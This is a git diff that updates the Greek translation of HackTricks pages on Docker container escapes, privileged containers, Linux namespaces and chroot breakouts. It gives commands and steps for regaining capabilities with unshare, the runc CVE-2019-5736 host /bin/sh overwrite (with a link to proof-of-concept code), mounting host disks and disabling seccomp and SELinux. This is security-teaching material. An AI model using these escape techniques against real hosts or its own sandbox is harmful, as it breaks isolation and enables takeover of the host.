`/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες host ή pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC. - **Εξετάστε το /dev/shm** - Αναζητήστε οποιαδήποτε αρχεία σε αυτήν την τοποθεσία κοινής μνήμης: `ls -la /dev/shm` - **Εξετάστε τις υπάρχουσες εγκαταστάσεις IPC** – Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a` -### Ανάκτηση ικανοτήτων +### Ανάκτηση δυνατοτήτων -Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις ικανότητες εκτελώντας: +Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας: ```bash unshare -UrmCpf bash # Check them with @@ -459,7 +461,7 @@ cat /proc/self/status | grep CapEff ### Runc exploit (CVE-2019-5736) -Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθείτε να κλιμακώσετε τα δικαιώματα σας διαφεύγοντας από ένα container καταχρώντας το CVE-2019-5736 (exploit [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **host** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec να μπορεί να ενεργοποιήσει το payload. +Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθείτε να κλιμακώσετε τα δικαιώματα σας ξεφεύγοντας από ένα container καταχρώντας το CVE-2019-5736 (exploit [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **host** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec να μπορεί να ενεργοποιήσει το payload. Αλλάξτε το payload αναλόγως και κατασκευάστε το main.go με `go build main.go`. Το προκύπτον δυαδικό αρχείο θα πρέπει να τοποθετηθεί στο docker container για εκτέλεση.\ Κατά την εκτέλεση, μόλις εμφανιστεί το `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το εξής από τη μηχανή host: @@ -470,17 +472,17 @@ cat /proc/self/status | grep CapEff Για περισσότερες πληροφορίες: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -> [!NOTE] +> [!TIP] > Υπάρχουν άλλες CVEs στις οποίες το container μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) ## Docker Custom Escape ### Επιφάνεια Διαφυγής Docker -- **Namespaces:** Η διαδικασία θα πρέπει να είναι **εντελώς απομονωμένη από άλλες διαδικασίες** μέσω namespaces, έτσι ώστε να μην μπορούμε να διαφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω namespaces (κατά προεπιλογή δεν μπορούν να επικοινωνούν μέσω IPCs, unix sockets, δικτυακών υπηρεσιών, D-Bus, `/proc` άλλων διαδικασιών). -- **Χρήστης root**: Κατά προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης root (ωστόσο τα δικαιώματά του είναι περιορισμένα). -- **Δυνατότητες**: Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης root δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσουν να διαφύγουν. +- **Namespaces:** Η διαδικασία θα πρέπει να είναι **εντελώς απομονωμένη από άλλες διαδικασίες** μέσω namespaces, έτσι ώστε να μην μπορούμε να ξεφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω namespaces (κατά προεπιλογή δεν μπορούν να επικοινωνούν μέσω IPCs, unix sockets, δικτυακών υπηρεσιών, D-Bus, `/proc` άλλων διαδικασιών). +- **Root user**: Κατά προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο root user (ωστόσο τα δικαιώματά του είναι περιορισμένα). +- **Capabilities**: Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **Syscalls**: Αυτές είναι οι syscalls που ο **root user δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσουν να ξεφύγουν. {{#tabs}} {{#tab name="x64 syscalls"}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 2c38744be..dd992874a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -8,7 +8,7 @@ ### Mount /dev -Σε ένα privileged κοντέινερ, όλες οι **συσκευές μπορούν να προσπελαστούν στο `/dev/`**. Επομένως, μπορείτε να **ξεφύγετε** με το **mounting** του δίσκου του host. +Σε ένα privileged κοντέινερ, όλες οι ** συσκευές είναι προσβάσιμες στο `/dev/`**. Επομένως, μπορείτε να **escape** με το **mounting** του δίσκου του host. {{#tabs}} {{#tab name="Inside default container"}} @@ -20,7 +20,7 @@ core full null pts shm stdin tty zero ``` {{#endtab}} -{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -49,7 +49,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c ``` {{#endtab}} -{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' @@ -57,11 +57,11 @@ mount | grep '(ro' {{#endtab}} {{#endtabs}} -### Απόκρυψη πάνω από τα συστήματα αρχείων του πυρήνα +### Απόκρυψη πάνω από τα συστήματα αρχείων πυρήνα -Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες του κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές. +Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές. -> [!NOTE] > **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα. +> [!NOTE] > Το **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα. {{#tabs}} {{#tab name="Inside default container"}} @@ -74,7 +74,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` {{#endtab}} -{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs @@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg ``` {{#endtab}} -{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -114,11 +114,11 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε `--privileged` λειτουργία χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`. +Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε λειτουργία `--privileged` χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`. ### Seccomp -**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε privileged mode είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ: +**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε λειτουργία privileged είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ: {{#ref}} seccomp.md @@ -134,7 +134,7 @@ Seccomp_filters: 1 ``` {{#endtab}} -{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -Επίσης, σημειώστε ότι όταν χρησιμοποιούνται Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή** +Επίσης, σημειώστε ότι όταν χρησιμοποιούνται οι Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή**. ### AppArmor -**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη. +**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει τα **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη. {{#ref}} apparmor.md @@ -162,7 +162,8 @@ apparmor.md ``` ### SELinux -Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, κάνοντάς το να κληρονομεί την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία με δικαιώματα root, εφαρμόζεται το `spc_t`. +Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας να κληρονομήσει την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία root, εφαρμόζεται το `spc_t`. + {{#ref}} ../selinux.md @@ -171,11 +172,11 @@ apparmor.md # You can manually disable selinux in docker with --security-opt label:disable ``` -## Τι Δεν Επηρεάζει +## Τι Δεν Επηρεάζεται ### Namespaces -Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Ακόμα και αν δεν έχουν ενεργοποιηθεί οι περιορισμοί ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ. +Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Αν και δεν έχουν ενεργοποιημένους τους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διαδικασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ. {{#tabs}} {{#tab name="Inside default privileged container"}} @@ -188,7 +189,7 @@ PID USER TIME COMMAND ``` {{#endtab}} -{{#tab name="Μέσα --pid=host Container"}} +{{#tab name="Inside --pid=host Container"}} ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef @@ -203,7 +204,7 @@ PID USER TIME COMMAND ### Χώρος ονομάτων χρήστη -**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα χρήστη**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναγκαίοι για τα κοντέινερ χωρίς δικαιώματα χρήστη, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα προνόμια. +**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα root**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναπόσπαστο μέρος των κοντέινερ χωρίς δικαιώματα root, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα προνόμια. ## Αναφορές diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 37e905640..1e23cd36f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,51 @@ -# Ονόματα Χώρων +# Namespaces {{#include ../../../../banners/hacktricks-training.md}} -### **Χώρος PID** +### **PID namespace** + {{#ref}} pid-namespace.md {{#endref}} -### **Χώρος Mount** +### **Mount namespace** + {{#ref}} mount-namespace.md {{#endref}} -### **Χώρος Δικτύου** +### **Network namespace** + {{#ref}} network-namespace.md {{#endref}} -### **Χώρος IPC** +### **IPC Namespace** + {{#ref}} ipc-namespace.md {{#endref}} -### **Χώρος UTS** +### **UTS namespace** + {{#ref}} uts-namespace.md {{#endref}} -### Χώρος Χρόνου +### Time Namespace + {{#ref}} time-namespace.md {{#endref}} -### Χώρος Χρήστη +### User namespace + {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 02e2cc537..1e2a5deb7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,15 +4,15 @@ ## Basic Information -Ένα cgroup namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση των ιεραρχιών cgroup για διαδικασίες που εκτελούνται εντός ενός namespace**. Τα cgroups, συντομογραφία για **control groups**, είναι μια δυνατότητα του πυρήνα που επιτρέπει την οργάνωση διαδικασιών σε ιεραρχικές ομάδες για τη διαχείριση και επιβολή **ορίων στους πόρους του συστήματος** όπως CPU, μνήμη και I/O. +Ένα cgroup namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση των ιεραρχιών cgroup για διεργασίες που εκτελούνται εντός ενός namespace**. Τα cgroups, συντομογραφία για **control groups**, είναι μια δυνατότητα του πυρήνα που επιτρέπει την οργάνωση διεργασιών σε ιεραρχικές ομάδες για τη διαχείριση και επιβολή **ορίων στους πόρους του συστήματος** όπως CPU, μνήμη και I/O. -Ενώ τα cgroup namespaces δεν είναι ένας ξεχωριστός τύπος namespace όπως οι άλλοι που συζητήσαμε νωρίτερα (PID, mount, network, κ.λπ.), σχετίζονται με την έννοια της απομόνωσης namespace. **Τα cgroup namespaces εικονικοποιούν την άποψη της ιεραρχίας cgroup**, έτσι ώστε οι διαδικασίες που εκτελούνται εντός ενός cgroup namespace να έχουν μια διαφορετική άποψη της ιεραρχίας σε σύγκριση με τις διαδικασίες που εκτελούνται στον οικοδεσπότη ή σε άλλα namespaces. +Ενώ τα cgroup namespaces δεν είναι ένας ξεχωριστός τύπος namespace όπως οι άλλοι που συζητήσαμε νωρίτερα (PID, mount, network, κ.λπ.), σχετίζονται με την έννοια της απομόνωσης namespace. **Τα cgroup namespaces εικονικοποιούν την άποψη της ιεραρχίας cgroup**, έτσι ώστε οι διεργασίες που εκτελούνται εντός ενός cgroup namespace να έχουν μια διαφορετική άποψη της ιεραρχίας σε σύγκριση με τις διεργασίες που εκτελούνται στον κεντρικό υπολογιστή ή σε άλλα namespaces. ### How it works: -1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διαδικασίας που το δημιουργεί**. Αυτό σημαίνει ότι οι διαδικασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που ριζώνει στην cgroup της διαδικασίας που το δημιουργεί. -2. Οι διαδικασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διαδικασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου. -3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα υποσυστήματα cgroup** (π.χ., cpu, memory, κ.λπ.). +1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διεργασίας που το δημιούργησε**. Αυτό σημαίνει ότι οι διεργασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που έχει ρίζα την cgroup της διεργασίας που το δημιούργησε. +2. Οι διεργασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διεργασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου. +3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα subsystems cgroup** (π.χ., cpu, memory, κ.λπ.). Για περισσότερες πληροφορίες σχετικά με τα CGroups ελέγξτε: @@ -28,29 +28,29 @@ ```bash sudo unshare -C [--mount-proc] /bin/bash ``` -Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**. +Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**.
Σφάλμα: bash: fork: Cannot allocate memory -Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: +Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: 1. **Εξήγηση Προβλήματος**: -- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. -- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. -- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace. +- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. +- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace. +- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace. 2. **Συνέπεια**: -- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". +- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανεμηθεί ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". 3. **Λύση**: -- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. -- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιεχόμενες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. +- Το ζήτημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace. +- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. -Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. +Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 2a576725b..78dbfd712 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -4,11 +4,11 @@ ## **GTFOBins** -**Αναζητήστε σε** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό με ιδιότητα "Shell"** +**Αναζητήστε στο** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό αρχείο με ιδιότητα "Shell"** ## Chroot Escapes -Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να υπερασπιστεί** ενάντια σε σκόπιμες παρεμβάσεις από **privileged** (**root**) **χρήστες**. Σε τα περισσότερα συστήματα, τα συμφραζόμενα chroot δεν στοιβάζονται σωστά και τα chrooted προγράμματα **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να σπάσουν**.\ +Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να υπερασπιστεί** ενάντια σε σκόπιμες παρεμβάσεις από **privileged** (**root**) **χρήστες**. Στα περισσότερα συστήματα, τα συμφραζόμενα chroot δεν στοιβάζονται σωστά και τα προγράμματα που είναι chrooted **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να διαφύγουν**.\ Συνήθως αυτό σημαίνει ότι για να διαφύγετε πρέπει να είστε root μέσα στο chroot. > [!TIP] @@ -19,9 +19,9 @@ > [!WARNING] > Αν είστε **root** μέσα σε ένα chroot μπορείτε **να διαφύγετε** δημιουργώντας **ένα άλλο chroot**. Αυτό συμβαίνει γιατί 2 chroots δεν μπορούν να συνυπάρξουν (σε Linux), οπότε αν δημιουργήσετε έναν φάκελο και στη συνέχεια **δημιουργήσετε ένα νέο chroot** σε αυτόν τον νέο φάκελο ενώ **είστε έξω από αυτό**, θα είστε τώρα **έξω από το νέο chroot** και επομένως θα είστε στο FS. > -> Αυτό συμβαίνει γιατί συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογό σας στον υποδεικνυόμενο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτό. +> Αυτό συμβαίνει γιατί συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογο εργασίας σας στον υποδεικνυόμενο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτό. -Συνήθως δεν θα βρείτε το δυαδικό `chroot` μέσα σε μια chroot φυλακή, αλλά θα **μπορούσατε να μεταγλωττίσετε, να ανεβάσετε και να εκτελέσετε** ένα δυαδικό: +Συνήθως δεν θα βρείτε το δυαδικό αρχείο `chroot` μέσα σε μια chroot φυλακή, αλλά θα μπορούσατε **να συντάξετε, να ανεβάσετε και να εκτελέσετε** ένα δυαδικό αρχείο:
